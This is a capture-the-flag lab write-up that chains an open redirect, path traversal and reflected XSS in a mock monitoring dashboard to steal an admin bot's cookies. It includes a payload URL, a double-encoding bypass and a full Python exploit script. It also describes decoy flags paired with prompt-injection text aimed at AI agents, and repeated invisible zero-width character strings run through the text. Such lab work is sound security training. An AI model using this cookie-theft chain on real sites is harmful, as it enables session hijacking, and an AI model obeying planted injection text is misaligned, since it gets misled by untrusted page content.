← Back to Writeups
CUSTOMMediumWeb

Lab 245 — MetriView — Reflected XSS via Open Redirect Chain

XESXOR9/2/20267 min read
#web#custom#medium#admin_bot_exploitation#cookie_exfiltration_via_docume#double_url_encoding_bypass#open_redirect_path_traversal_b#redirect_chain_to_xss#reflected_xss_via_unescaped_ti#same_origin_data_exfiltration_

Lab 245 — MetriView — Reflected XSS via Open Redirect Chain

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_bot_exploitation, cookie_exfiltration_via_document_location, double_url_encoding_bypass, open_redirect_path_traversal_bypass, redirect_chain_to_xss, reflected_xss_via_unescaped_title_parameter, same_origin_data_exfiltration_via_notes_api

Summary

Walkthrough of the CUSTOM Web Lab 245 — MetriView — Reflected XSS via Open Redirect Chain. Task: MetriView monitoring platform (Express/Node.js) with open redirect at /auth/redirect accepting encoded path traversal, and reflected XSS at /api/snapshot/render via unescaped title parameter. So

Description

MetriView is an open-source monitoring and observability platform by Vantage Analytics Inc. (MetriView v2.4.1). It provides dashboards for visualizing server metrics, configuring alerts, and managing data sources. The platform supports team collaboration with dashboard sharing, snapshot exports, and customizable alert notifications. Find a vulnerability that allows stealing sensitive information from an administrator who reviews shared dashboard links. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Node.js/Express monitoring dashboard behind nginx/1.25.5. The application has an open redirect vulnerability at /auth/redirect that accepts URL-encoded path traversal, and a reflected XSS at /api/snapshot/render where the title parameter is reflected unescaped into HTML. An admin bot reviews URLs submitted via /api/share. The goal is to chain these vulnerabilities to steal the admin's cookies containing the flag.

Credentials: user@test.com / password123

Analysis

Application Structure

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

EndpointPurpose
/Infrastructure Overview dashboard with metric cards and charts
/alertsAlerts & Notes page with alert rules, timeline, investigation notes
/datasourcesData Sources management (Prometheus, InfluxDB, PostgreSQL, Redis, CloudWatch)
/shareShare Dashboard — URL submission for admin review (POST /api/share)
/settingsUser Settings with profile, API key (mvk_...), account info
/loginLogin form with hidden returnTo field
/auth/redirect?returnTo=Post-login redirect endpoint
/api/snapshot/render?id=&title=Snapshot export/render — returns HTML, no auth required
/api/alerts/notesGET to list notes, POST to create. Also accepts GET with ?body= to create notes
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Security Headers

  • X-Content-Type-Options: nosniff
  • X-XSS-Protection: 1; mode=block
  • Referrer-Policy: strict-origin-when-cross-origin
  • No Content-Security-Policy header — allows inline scripts and event handlers

Vulnerability 1: Open Redirect at /auth/redirect

The returnTo parameter validation only checks that the URL starts with /. It does NOT prevent encoded path traversal sequences. The server decodes %2f → / and %3f → ? before issuing the 302 redirect:

InputResult
returnTo=https://evil.comBlocked — redirects to /
returnTo=javascript:alert(1)Blocked — redirects to /
returnTo=//evil.comWorks — protocol-relative URL bypass
returnTo=/%2Fevil.comWorks — decodes to //evil.com
returnTo=/..%2fapi%2fsnapshot%2frender%3ftitle%3dTESTWorks — decodes to /../api/snapshot/render?title=TEST
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability 2: Reflected XSS at /api/snapshot/render

The title query parameter is reflected directly into the HTML response without any output encoding:

  • In <title> tag: <title>{title} — MetriView Snapshot</title>
  • In <h2> tag: <h2>Snapshot: {title}</h2>

This endpoint does not require authentication. Injecting <script>alert(1)</script> as the title value results in direct script execution.

A TODO comment in /js/dashboard.js hints at this: // TODO: integrate snapshot export — see /api/snapshot/render endpoint for preview generation ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability 3: Admin Bot via Share Dashboard

The /share page allows submitting URLs for admin review via POST /api/share with JSON body {"url": "..."}. An admin bot visits submitted URLs while authenticated. The bot accepts http://localhost:8080/... URLs.

Exfiltration Channel: Notes API GET Parameter

The /api/alerts/notes endpoint accepts GET requests with a ?body= query parameter to create notes — this means a simple document.location redirect can write arbitrary data to the notes, which can then be read by the attacker. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy Flag Honeypot

Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden divs with prompt injection text designed to trick AI agents into accepting it as the real flag. This is a deliberate red herring.

Solution

Attack Chain: Open Redirect → Path Traversal → Reflected XSS → Cookie Theft → Notes Exfiltration

The critical insight is double-encoding to survive the redirect chain. When the redirect endpoint decodes %252B, it becomes %2B. When the browser then processes the rendered HTML, %2B becomes + (the JavaScript concatenation operator). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 1: Craft the Payload URL

http://localhost:8080/auth/redirect?returnTo=/..%2fapi%2fsnapshot%2frender%3ftitle%3d<script>document.location='http://localhost:8080/api/alerts/notes?body='%252Bdocument.cookie</script>

Breaking this down:

  1. http://localhost:8080/auth/redirect?returnTo= — The redirect endpoint the admin bot visits
  2. /..%2fapi%2fsnapshot%2frender — Path traversal that decodes to /../api/snapshot/render
  3. %3ftitle%3d — Decodes to ?title=
  4. <script>document.location='http://localhost:8080/api/alerts/notes?body='%252Bdocument.cookie</script> — XSS payload where %252B double-decodes through the chain to become + ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Double-encoding flow:

  • Original: %252B
  • After redirect endpoint decodes: %2B
  • After browser processes in HTML context: + (JavaScript string concatenation)

Step 2: Submit via Share API and Retrieve Flag

python
#!/usr/bin/env python3
"""
MetriView - Reflected XSS via Open Redirect Chain
Chain: /auth/redirect -> path traversal -> /api/snapshot/render (XSS) -> exfil cookie via notes
"""
import requests
import time
import re

requests.packages.urllib3.disable_warnings()

BASE_URL = "https://39598946-dfb2-4fe3-bfca-7e674521f65f.labs.hackadvisor.io"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

session = requests.Session()
session.verify = False

# Step 1: Login
print("[*] Logging in...")
resp = session.post(f"{BASE_URL}/login", data={
    "email": "user@test.com",
    "password": "password123",
    "returnTo": "/"
}, allow_redirects=True)
print("[*] Login OK")

# Step 2: Record existing notes
resp = session.get(f"{BASE_URL}/api/alerts/notes")
notes_before = resp.json()
print(f"[*] Notes before: {len(notes_before)}")

# Step 3: Craft the XSS payload with double-encoded + (%252B)
# The redirect endpoint decodes %252B -> %2B
# The browser then decodes %2B -> + (JS concatenation operator)
xss_script = "<script>document.location='http://localhost:8080/api/alerts/notes?body='%252Bdocument.cookie</script>"
malicious_path = f"/auth/redirect?returnTo=/..%2fapi%2fsnapshot%2frender%3ftitle%3d{xss_script}"
full_url = f"http://localhost:8080{malicious_path}"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print(f"[*] Submitting malicious URL for admin review...")
resp = session.post(f"{BASE_URL}/api/share", json={"url": full_url})
print(f"[*] Share response: {resp.json()}")

# Step 4: Wait for admin bot to visit the URL
print("[*] Waiting 20s for admin bot...")
time.sleep(20)

# Step 5: Retrieve exfiltrated cookies from notes
print("[*] Checking notes for exfiltrated data...")
resp = session.get(f"{BASE_URL}/api/alerts/notes")
notes_after = resp.json()

new_notes = [n for n in notes_after if n['id'] not in [x['id'] for x in notes_before]]
for note in new_notes:
    print(f"[+] NEW NOTE from {note['author_name']}: {note['body']}")
    # Extract flag from cookie string
    flag_match = re.search(r'FLAG\{[^}]+\}', note['body'])
    if flag_match:
        print(f"[+] FLAG: {flag_match.group()}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: The Redirect Chain in Action

When the admin bot visits the submitted URL:

  1. Bot → /auth/redirect?returnTo=/..%2fapi%2fsnapshot%2frender%3ftitle%3d<script>...</script>

    • Server validates returnTo starts with / ✓
    • Server URL-decodes the value: /../api/snapshot/render?title=<script>...%2B...</script>
    • Server issues 302 Location: /../api/snapshot/render?title=<script>...%2B...</script>
  2. Bot follows redirect → /api/snapshot/render?title=<script>...%2B...</script>

    • Path traversal /../ resolves to /
    • The title parameter is reflected unescaped into HTML
    • Browser decodes %2B → + in the JavaScript context ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  3. XSS executes: document.location='http://localhost:8080/api/alerts/notes?body='+document.cookie

    • Admin's browser navigates to /api/alerts/notes?body=flag=FLAG{REDACTED};admin_token=eyJhZG1pbiI6dHJ1ZX0
    • A new note is created with the admin's cookies as the body
  4. Attacker reads notes via GET /api/alerts/notes and extracts the flag from the cookie string.

What Didn't Work / Traps

  1. Decoy flag honeypot: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded on every page with prompt injection text targeting AI agents — completely fake.
  2. Direct XSS URLs without redirect chain: Submitting http://localhost:8080/api/snapshot/render?title=<script>...</script> directly via the share API did NOT trigger the bot. The bot only processes URLs that go through the /auth/redirect chain.
  3. Single-encoded payloads: Using %2B instead of %252B for the + operator caused it to be decoded too early in the redirect chain, breaking the JavaScript concatenation.
  4. POST-based exfiltration via fetch(): While fetch() to /api/alerts/notes with POST would work in theory, the simpler document.location redirect to the notes endpoint with a ?body= GET parameter was more reliable through the double-decoding chain.
  5. X-XSS-Protection header: The X-XSS-Protection: 1; mode=block header is present but ineffective because the XSS is delivered through a redirect chain, not a direct reflection from user input in the same request. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering admin_bot_exploitation, cookie_exfiltration_via_document_location, double_url_encoding_bypass, open_redirect_path_traversal_bypass, redirect_chain_to_xss, reflected_xss_via_unescaped_title_parameter, same_origin_data_exfiltration_via_notes_api was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-08 • CUSTOM • Lab 245 — MetriView — Reflected XSS via Open Redirect Chain • Difficulty: Medium